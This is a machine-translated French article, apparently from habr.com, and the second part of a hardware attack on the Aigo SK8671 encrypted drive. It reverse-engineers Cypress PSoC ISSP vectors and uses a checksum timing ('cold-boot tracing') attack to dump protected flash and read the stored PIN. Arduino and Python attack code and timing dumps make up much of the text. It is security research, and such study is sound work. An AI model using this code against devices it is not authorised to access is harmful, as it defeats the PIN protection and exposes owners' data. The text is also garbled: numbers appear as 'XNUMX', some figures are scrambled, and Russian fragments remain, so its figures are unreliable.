Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC

Il s'agit de la deuxième et dernière partie de l'article sur le piratage des disques externes à chiffrement automatique. Permettez-moi de vous rappeler qu'un collègue m'a récemment apporté un disque dur Patriot (Aigo) SK8671, et j'ai décidé de l'inverser, et maintenant je partage ce qui en est ressorti. Avant de poursuivre votre lecture, assurez-vous de lire première partie articles.

4. Nous commençons à faire un dump du lecteur flash PSoC interne
5. Protocole ISSP
– 5.1. Qu'est-ce que l'ISSP
– 5.2. Vecteurs démystifiants
– 5.3. Communication avec PSoC
– 5.4. Identification des registres sur puce
– 5.5. Bits de sécurité
6. Première attaque (ratée) : ROMX
7. Deuxième attaque : traçage de démarrage à froid
– 7.1. Mise en œuvre
– 7.2. Lire le résultat
– 7.3. Reconstruction binaire Flash
– 7.4. Trouver l'adresse de stockage du code PIN
– 7.5. Faire un dump du bloc n°126
– 7.6. Récupération du code PIN
8. Quelle est la prochaine?
9. Заключение

Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC


4. Nous commençons à faire un dump du lecteur flash PSoC interne

Ainsi, tout indique (comme nous l’avons établi dans [la première partie]()) que le code PIN est stocké dans les profondeurs flash du PSoC. Par conséquent, nous devons lire ces profondeurs de flash. Devant des travaux nécessaires :

  • prendre le contrôle de la « communication » avec le microcontrôleur ;
  • trouver un moyen de vérifier si cette « communication » est protégée de la lecture de l'extérieur ;
  • trouver un moyen de contourner la protection.

Il existe deux endroits où il est judicieux de rechercher un code PIN valide :

  • mémoire flash interne ;
  • SRAM, où le code PIN peut être stocké pour le comparer avec le code PIN saisi par l'utilisateur.

Pour l'avenir, je noterai que j'ai quand même réussi à faire un dump du lecteur flash PSoC interne - en contournant son système de sécurité à l'aide d'une attaque matérielle appelée « traçage de démarrage à froid » - après avoir inversé les capacités non documentées du protocole ISSP. Cela m'a permis de vider directement le code PIN réel.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Code du programme final :

5. Protocole ISSP

5.1. Qu'est-ce que l'ISSP

La « communication » avec un microcontrôleur peut signifier différentes choses : du « fournisseur à fournisseur » à l'interaction utilisant un protocole série (par exemple, ICSP pour le PIC de Microchip).

Cypress possède pour cela son propre protocole propriétaire, appelé ISSP (In-System Serial Programming Protocol), qui est partiellement décrit dans spécifications techniques. Brevet US7185162 donne également quelques informations. Il existe également un équivalent OpenSource appelé HSSP (nous l'utiliserons un peu plus tard). L'ISSP fonctionne comme suit :

  • redémarrer le PSoC ;
  • afficher le nombre magique sur la broche de données série de ce PSoC ; pour entrer en mode de programmation externe ;
  • envoyer des commandes, qui sont de longues chaînes de bits appelées « vecteurs ».

La documentation ISSP définit ces vecteurs pour seulement une petite poignée de commandes :

  • Initialiser-1
  • Initialiser-2
  • Initialiser-3 (options 3V et 5V)
  • ID-CONFIGURATION
  • LECTURE-ID-WORD
  • SET-BLOCK-NUM : 10011111010dddddddd111, où ddddddddd=bloc #
  • EFFACER EN VRAC
  • BLOC DE PROGRAMME
  • VÉRIFIER-CONFIGURATION
  • READ-BYTE : 10110aaaaaaZDDDDDDDDZ1, où DDDDDDDD = sortie de données, aaaaaa = adresse (6 bits)
  • WRITE-BYTE : 10010aaaaaaddddddd111, où ddddddddd = données entrantes, aaaaaa = adresse (6 bits)
  • NOS ATOUTS
  • CONFIGURATION DE LA SOMME DE CONTRÔLE
  • READ-CHECKSUM : 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, où DDDDDDDDDDDDDDDD = données sorties : somme de contrôle de l'appareil
  • EFFACER LE BLOC

Par exemple, le vecteur pour Initialize-2 :

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tous les vecteurs ont la même longueur : 22 bits. La documentation HSSP contient des informations supplémentaires sur l'ISSP : « Un vecteur ISSP n'est rien de plus qu'une séquence de bits qui représente un ensemble d'instructions. »

5.2. Vecteurs démystifiants

Voyons ce qui se passe ici. Au départ, je supposais que ces mêmes vecteurs étaient des versions brutes des instructions M8C, mais après avoir vérifié cette hypothèse, j'ai découvert que les opcodes des opérations ne correspondaient pas.

Ensuite, j'ai recherché le vecteur ci-dessus sur Google et je suis tombé sur le voici une étude où l'auteur, bien qu'il n'entre pas dans les détails, donne quelques conseils utiles : « Chaque instruction commence par trois bits qui correspondent à l'un des quatre mnémoniques (lecture depuis la RAM, écriture dans la RAM, lecture du registre, écriture du registre). Ensuite, il y a 8 bits d’adresse, suivis de 8 bits de données (lecture ou écriture) et enfin trois bits d’arrêt.

J’ai ensuite pu glaner des informations très utiles dans la section Supervisory ROM (SROM). Manuel technique. SROM est une ROM codée en dur dans le PSoC qui fournit des fonctions utilitaires (de la même manière que Syscall) pour le code de programme exécuté dans l'espace utilisateur :

  • 00h : SWBootRéinitialiser
  • 01h : LireBloc
  • 02h : Bloc d'écriture
  • 03h : EffacerBloquer
  • 06h : TableLire
  • 07h : Somme de contrôle
  • 08h : Calibrer0
  • 09h : Calibrer1

En comparant les noms de vecteurs aux fonctions SROM, nous pouvons mapper les différentes opérations prises en charge par ce protocole aux paramètres SROM attendus. Grâce à cela, nous pouvons décoder les trois premiers bits des vecteurs ISSP :

  • 100 => "wrem"
  • 101 => « mémoire mémoire »
  • 110 => « mauvais »
  • 111 => «regreg»

Cependant, une compréhension complète des processus sur puce ne peut être obtenue que par une communication directe avec le PSoC.

5.3. Communication avec PSoC

Puisque Dirk Petrautsky a déjà porté Code HSSP de Cypress sur Arduino, j'ai utilisé Arduino Uno pour me connecter au connecteur ISSP de la carte clavier.

Veuillez noter qu'au cours de mes recherches, j'ai pas mal modifié le code de Dirk. Vous pouvez trouver ma modification sur GitHub : ici et le script Python correspondant pour communiquer avec Arduino, dans mon dépôt cypress_psoc_tools.

Ainsi, en utilisant Arduino, j'ai d'abord utilisé uniquement les vecteurs « officiels » de « communication ». J'ai essayé de lire la ROM interne à l'aide de la commande VERIFY. Comme prévu, je n'ai pas pu le faire. Probablement dû au fait que les bits de protection en lecture sont activés à l'intérieur du lecteur flash.

Ensuite, j'ai créé quelques-uns de mes propres vecteurs simples pour écrire et lire la mémoire/les registres. Veuillez noter que nous pouvons lire l'intégralité de la SROM même si la clé USB est protégée !

5.4. Identification des registres sur puce

Après avoir examiné les vecteurs « désassemblés », j'ai découvert que l'appareil utilise des registres non documentés (0xF8-0xFA) pour spécifier les opcodes M8C, qui sont exécutés directement, en contournant la protection. Cela m'a permis d'exécuter divers opcodes tels que "ADD", "MOV A, X", "PUSH" ou "JMP". Grâce à eux (en regardant les effets secondaires qu'ils ont sur les registres) j'ai pu déterminer lesquels des registres non documentés étaient en réalité des registres réguliers (A, X, SP et PC).

Du coup, le code « démonté » généré par l'outil HSSP_disas.rb ressemble à ceci (j'ai ajouté des commentaires pour plus de clarté) :

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits de sécurité

A ce stade, je peux déjà communiquer avec le PSoC, mais je ne dispose toujours pas d'informations fiables sur les éléments de sécurité de la clé USB. J'ai été très surpris par le fait que Cypress ne fournit à l'utilisateur de l'appareil aucun moyen de vérifier si la protection est activée. J'ai fouillé plus profondément dans Google pour enfin comprendre que le code HSSP fourni par Cypress a été mis à jour après que Dirk a publié sa modification. Et ainsi! Ce nouveau vecteur est apparu :

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

En utilisant ce vecteur (voir read_security_data dans psoc.py), nous obtenons tous les bits de sécurité dans la SRAM à 0x80, où il y a deux bits par bloc protégé.

Le résultat est déprimant : tout est protégé en mode « désactiver la lecture et l'écriture externes ». Par conséquent, non seulement nous ne pouvons rien lire à partir d'un lecteur flash, mais nous ne pouvons rien non plus écrire (par exemple, pour y installer un dumper ROM). Et le seul moyen de désactiver la protection est d’effacer complètement la puce entière. 🙁

6. Première attaque (ratée) : ROMX

Cependant, nous pouvons essayer l'astuce suivante : puisque nous avons la possibilité d'exécuter des opcodes arbitraires, pourquoi ne pas exécuter ROMX, qui sert à lire la mémoire flash ? Cette approche a de bonnes chances de succès. Parce que la fonction ReadBlock qui lit les données du SROM (qui est utilisé par les vecteurs) vérifie si elle est appelée depuis l'ISSP. Cependant, l'opcode ROMX pourrait ne pas avoir une telle vérification. Voici donc le code Python (après avoir ajouté quelques classes d'assistance au code Arduino) :

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Malheureusement, ce code ne fonctionne pas. 🙁 Ou plutôt ça marche, mais en sortie on obtient nos propres opcodes (0x28 0x30 0x40) ! Je ne pense pas que la fonctionnalité correspondante de l'appareil soit un élément de protection en lecture. Cela ressemble plus à une astuce d'ingénierie : lors de l'exécution d'opcodes externes, le bus ROM est redirigé vers un tampon temporaire.

7. Deuxième attaque : traçage de démarrage à froid

Comme l'astuce ROMX n'a ​​pas fonctionné, j'ai commencé à réfléchir à une autre variante de cette astuce - décrite dans la publication "Faire trop de lumière sur la protection du micrologiciel d'un microcontrôleur".

7.1. Mise en œuvre

La documentation ISSP fournit le vecteur suivant pour CHECKSUM-SETUP :

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Cela appelle essentiellement la fonction SROM 0x07, telle que présentée dans la documentation (c'est moi qui souligne) :

Cette fonction vérifie la somme de contrôle. Il calcule une somme de contrôle de 16 bits du nombre de blocs spécifiés par l'utilisateur dans une banque flash, en commençant à zéro. Le paramètre BLOCKID permet de transmettre le nombre de blocs qui seront utilisés lors du calcul de la somme de contrôle. Une valeur de « 1 » calculera uniquement la somme de contrôle pour le bloc zéro ; alors que "0" entraînera le calcul de la somme de contrôle totale des 256 blocs de la banque flash. La somme de contrôle de 16 bits est renvoyée via KEY1 et KEY2. Le paramètre KEY1 stocke les 8 bits de poids faible de la somme de contrôle et le paramètre KEY2 stocke les 8 bits de poids fort. Pour les appareils dotés de plusieurs banques flash, la fonction de somme de contrôle est appelée pour chacune séparément. Le numéro de banque avec lequel il fonctionnera est défini par le registre FLS_PR1 (en y définissant le bit correspondant à la banque flash cible).

Notez qu'il s'agit d'une simple somme de contrôle : les octets sont simplement ajoutés les uns après les autres ; pas de bizarreries CRC sophistiquées. De plus, sachant que le noyau M8C dispose d'un très petit ensemble de registres, j'ai supposé que lors du calcul de la somme de contrôle, les valeurs intermédiaires seraient enregistrées dans les mêmes variables qui iront finalement à la sortie : KEY1 (0xF8) / KEY2 ( 0xF9).

Donc en théorie mon attaque ressemble à ceci :

  1. Nous nous connectons via ISSP.
  2. Nous commençons le calcul de la somme de contrôle en utilisant le vecteur CHECKSUM-SETUP.
  3. Nous redémarrons le processeur après un temps T spécifié.
  4. Nous lisons la RAM pour obtenir la somme de contrôle actuelle C.
  5. Répétez les étapes 3 et 4 en augmentant légèrement T à chaque fois.
  6. Nous récupérons les données d'un lecteur flash en soustrayant la somme de contrôle précédente C de la somme de contrôle actuelle.

Cependant, il y a un problème : le vecteur Initialize-1 que nous devons envoyer après le redémarrage écrase KEY1 et KEY2 :

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ce code écrase notre précieuse somme de contrôle en appelant Calibrate1 (fonction SROM 9)... Peut-être pouvons-nous simplement envoyer le nombre magique (du début du code ci-dessus) pour entrer en mode programmation, puis lire la SRAM ? Et oui, ça marche ! Le code Arduino qui implémente cette attaque est assez simple :

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lisez checkum_delay.
  2. Exécutez le calcul de la somme de contrôle (send_checksum_v).
  3. Attendez une période de temps spécifiée ; en tenant compte des écueils suivants :
    • J'ai perdu beaucoup de temps jusqu'à ce que je découvre ce que ça donne délaiMicrosecondes fonctionne correctement uniquement avec des retards ne dépassant pas 16383 μs ;
    • puis j'ai encore tué le même laps de temps jusqu'à ce que je découvre que delayMicroseconds, si 0 lui est transmis en entrée, fonctionne complètement de manière incorrecte !
  4. Redémarrez le PSoC en mode programmation (on envoie juste le nombre magique, sans envoyer de vecteurs d'initialisation).

Code final en Python :

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

En un mot, ce que fait ce code :

  1. Redémarre le PSoC (et lui envoie un nombre magique).
  2. Envoie des vecteurs d'initialisation complets.
  3. Appelle la fonction Arduino Cmnd_STK_START_CSUM (0x85), où le délai en microsecondes est passé en paramètre.
  4. Lit la somme de contrôle (0xF8 et 0xF9) et le registre non documenté 0xF1.

Ce code est exécuté 10 fois en 1 microseconde. 0xF1 est inclus ici car c'était le seul registre qui changeait lors du calcul de la somme de contrôle. Il s'agit peut-être d'une sorte de variable temporaire utilisée par l'unité arithmétique et logique. Notez le vilain hack que j'utilise pour réinitialiser l'Arduino à l'aide de picocom lorsque l'Arduino cesse de montrer des signes de vie (je ne sais pas pourquoi).

7.2. Lire le résultat

Le résultat du script Python ressemble à ceci (simplifié pour plus de lisibilité) :

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Ceci étant dit, nous avons un problème : puisque nous opérons avec une véritable somme de contrôle, un octet nul ne change pas la valeur lue. Cependant, étant donné que l'ensemble de la procédure de calcul (8192 0,1478 octets) prend 18,04 seconde (avec de légères variations à chaque exécution), ce qui équivaut à environ XNUMX μs par octet, nous pouvons utiliser ce temps pour vérifier la valeur de la somme de contrôle à des moments appropriés. Pour les premières exécutions, tout se lit assez facilement, puisque la durée de la procédure de calcul est toujours presque la même. Cependant, la fin de ce dump est moins précise car les « écarts mineurs de timing » à chaque exécution s’additionnent pour devenir significatifs :

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Cela représente 10 vidages pour chaque retard d'une microseconde. La durée totale de fonctionnement pour vider les 8192 48 octets d'un lecteur flash est d'environ XNUMX heures.

7.3. Reconstruction binaire Flash

Je n'ai pas encore fini d'écrire le code qui reconstruira complètement le code du programme de la clé USB, en tenant compte de tous les écarts temporels. Cependant, j'ai déjà restauré le début de ce code. Pour être sûr de l'avoir fait correctement, je l'ai démonté à l'aide de m8cdis :

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Cela semble tout à fait plausible !

7.4. Trouver l'adresse de stockage du code PIN

Maintenant que nous pouvons lire la somme de contrôle aux moments dont nous avons besoin, nous pouvons facilement vérifier comment et où elle change lorsque nous :

  • entrez le mauvais code PIN ;
  • changer le code PIN.

Tout d’abord, pour trouver l’adresse de stockage approximative, j’ai effectué un vidage de la somme de contrôle par incréments de 10 ms après un redémarrage. Ensuite, j'ai entré un mauvais code PIN et j'ai fait de même.

Le résultat n’a pas été très agréable car il y a eu de nombreux changements. Mais au final, j'ai pu déterminer que la somme de contrôle changeait entre 120000 140000 µs et 0 XNUMX µs de retard. Mais le "pincode" que j'y ai affiché était complètement incorrect - à cause d'un artefact de la procédure delayMicroseconds, qui fait des choses étranges lorsque XNUMX lui est transmis.

Puis, après avoir passé près de 3 heures, je me suis souvenu que l'appel système SROM CheckSum reçoit un argument en entrée qui spécifie le nombre de blocs pour la somme de contrôle ! Que. nous pouvons facilement localiser l'adresse de stockage du code PIN et le compteur de « tentatives incorrectes », avec une précision allant jusqu'à un bloc de 64 octets.

Mes premières exécutions ont produit le résultat suivant :

Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC

Ensuite, j'ai changé le code PIN de "123456" à "1234567" et j'ai obtenu :

Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC

Ainsi, le code PIN et le compteur de tentatives incorrectes semblent être stockés dans le bloc n°126.

7.5. Faire un dump du bloc n°126

Le bloc n°126 devrait être situé quelque part autour de 125x64x18 = 144000 145527 μs, depuis le début du calcul de la somme de contrôle, dans mon dump complet, et cela semble tout à fait plausible. Ensuite, après avoir trié manuellement de nombreux dumps invalides (en raison de l'accumulation de « écarts mineurs de timing »), j'ai fini par obtenir ces octets (avec une latence de XNUMX XNUMX μs) :

Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC

Il est bien évident que le code PIN est stocké sous forme non cryptée ! Bien entendu, ces valeurs ne sont pas écrites en codes ASCII, mais il s'avère qu'elles reflètent les lectures prises sur le clavier capacitif.

Enfin, j'ai effectué quelques tests supplémentaires pour trouver où était stocké le compteur de tentatives incorrectes. Voici le résultat :

Inversion et piratage du disque dur externe à cryptage automatique Aigo. Partie 2 : Réaliser un dump depuis Cypress PSoC

0xFF - signifie "15 tentatives" et diminue à chaque tentative échouée.

7.6. Récupération du code PIN

Voici mon vilain code qui rassemble ce qui précède :

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Voici le résultat de son exécution :

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hourra! Travaux!

Veuillez noter que les valeurs de latence que j'ai utilisées sont probablement pertinentes pour un PSoC spécifique - celui que j'ai utilisé.

8. Quelle est la prochaine?

Alors, résumons côté PSoC, dans le cadre de notre drive Aigo :

  • nous pouvons lire la SRAM même si elle est protégée en lecture ;
  • Nous pouvons contourner la protection anti-swipe en utilisant une attaque de trace de démarrage à froid et en lisant directement le code PIN.

Cependant, notre attaque présente quelques failles dues à des problèmes de synchronisation. Il pourrait être amélioré comme suit :

  • écrire un utilitaire pour décoder correctement les données de sortie obtenues à la suite d'une attaque de « trace de démarrage à froid » ;
  • utilisez un gadget FPGA pour créer des délais plus précis (ou utilisez des minuteries matérielles Arduino) ;
  • essayez une autre attaque : entrez un code PIN délibérément incorrect, redémarrez et videz la RAM, en espérant que le code PIN correct sera enregistré dans la RAM pour comparaison. Cependant, ce n'est pas si simple à faire sur Arduino, puisque le niveau du signal Arduino est de 5 volts, alors que la carte que nous examinons fonctionne avec des signaux de 3,3 volts.

Une chose intéressante qui pourrait être tentée est de jouer avec le niveau de tension pour contourner la protection en lecture. Si cette approche fonctionnait, nous serions en mesure d'obtenir des données absolument précises à partir du lecteur flash - au lieu de nous fier à la lecture d'une somme de contrôle avec des délais de synchronisation imprécis.

Puisque le SROM lit probablement les bits de garde via l'appel système ReadBlock, nous pourrions faire la même chose que décrit sur le blog de Dmitry Nedospasov - une réimplémentation de l'attaque de Chris Gerlinski, annoncée lors de la conférence "REcon Bruxelles 2017".

Une autre chose amusante qui pourrait être faite est de retirer le boîtier de la puce : effectuer un vidage SRAM, identifier les appels système et les vulnérabilités non documentés.

9. Заключение

La protection de ce disque laisse donc beaucoup à désirer, car il utilise un microcontrôleur classique (non « durci ») pour stocker le code PIN... De plus, je n'ai pas (encore) regardé comment ça se passe avec les données cryptage sur cet appareil !

Que pouvez-vous recommander pour Aigo? Après avoir analysé quelques modèles de disques durs cryptés, j'ai réalisé en 2015 présentation sur SyScan, dans lequel il a examiné les problèmes de sécurité de plusieurs disques durs externes et a formulé des recommandations sur ce qui pourrait être amélioré. 🙂

J'ai passé deux week-ends et plusieurs soirées à faire cette recherche. Un total d'environ 40 heures. Compter du tout début (quand j'ai ouvert le disque) jusqu'à la fin (vidage du code PIN). Les mêmes 40 heures incluent le temps que j'ai passé à rédiger cet article. Ce fut un voyage très excitant.

Source: habr.com

Ajouter un commentaire